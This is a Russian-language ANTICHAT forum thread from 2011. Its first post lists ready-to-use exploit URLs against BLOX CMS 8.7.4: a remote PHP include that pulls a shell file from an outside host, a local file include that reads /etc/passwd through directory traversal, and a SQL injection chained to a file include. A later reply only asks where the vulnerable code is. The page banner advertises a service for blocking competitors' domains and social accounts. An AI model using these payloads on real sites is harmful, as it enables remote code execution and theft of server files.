BLOX CMS — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
BLOX CMS

Опции темы

Поиск в этой теме

Опции просмотра

10.01.2011, 21:40

[Dark Green]

Новичок

Регистрация: 13.05.2010

Сообщений: 11

Провел на форуме:
118828

Репутация: 13

Офф. сайт: Blox.ru | Информация о CMS

Текущая версия: 8.7.4 настолько дырявая, что на раскрутку всех багов уйдет вечность Поэтому я ограничелся несколькими критическими уязвимостями =)

[PHP-Include REMOTE]

BLOX\functions\go.php[8]

register_globals=ON

Код:

http://blox/BLOX/go.php?dbhost=localhost&dbuser=root&dbpass=&dbname=blox&prefix=1&bloxDir=http://site.ru/shell.txt?

[PHP-Include LOCAL]

BLOX\functions\go.php[18], BLOX\functions\getPageParams.php[3]

register_globals=ON

Код:

http://blox/?cmsLanguage=russian/../../../../etc/passwd%00

POC [PHP-Include with SQL Injection]

BLOX\functions\go.php[29, 119-142]

Ошибка в синтаксисе SQL запроса в скрипте, пока косяк в коде не поправят - работать не будет.

Код:

http://blox/?PQ=1&1'UNION(SELECT(1),2,CONCAT('../../../../../../../../../../ect/passwd',0x00))/*

Скачать исходник: http://blox.ru/?download&file=BLOX.8.7.4.zip

04.07.2011, 15:17

Dimi4

Reservists Of Antichat - Level 6

Регистрация: 19.03.2007

Сообщений: 953

Провел на форуме:
7617458

Репутация: 3965

Йопт, а где уязвимый код???!

__________________

BlackHat.

MoDL

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход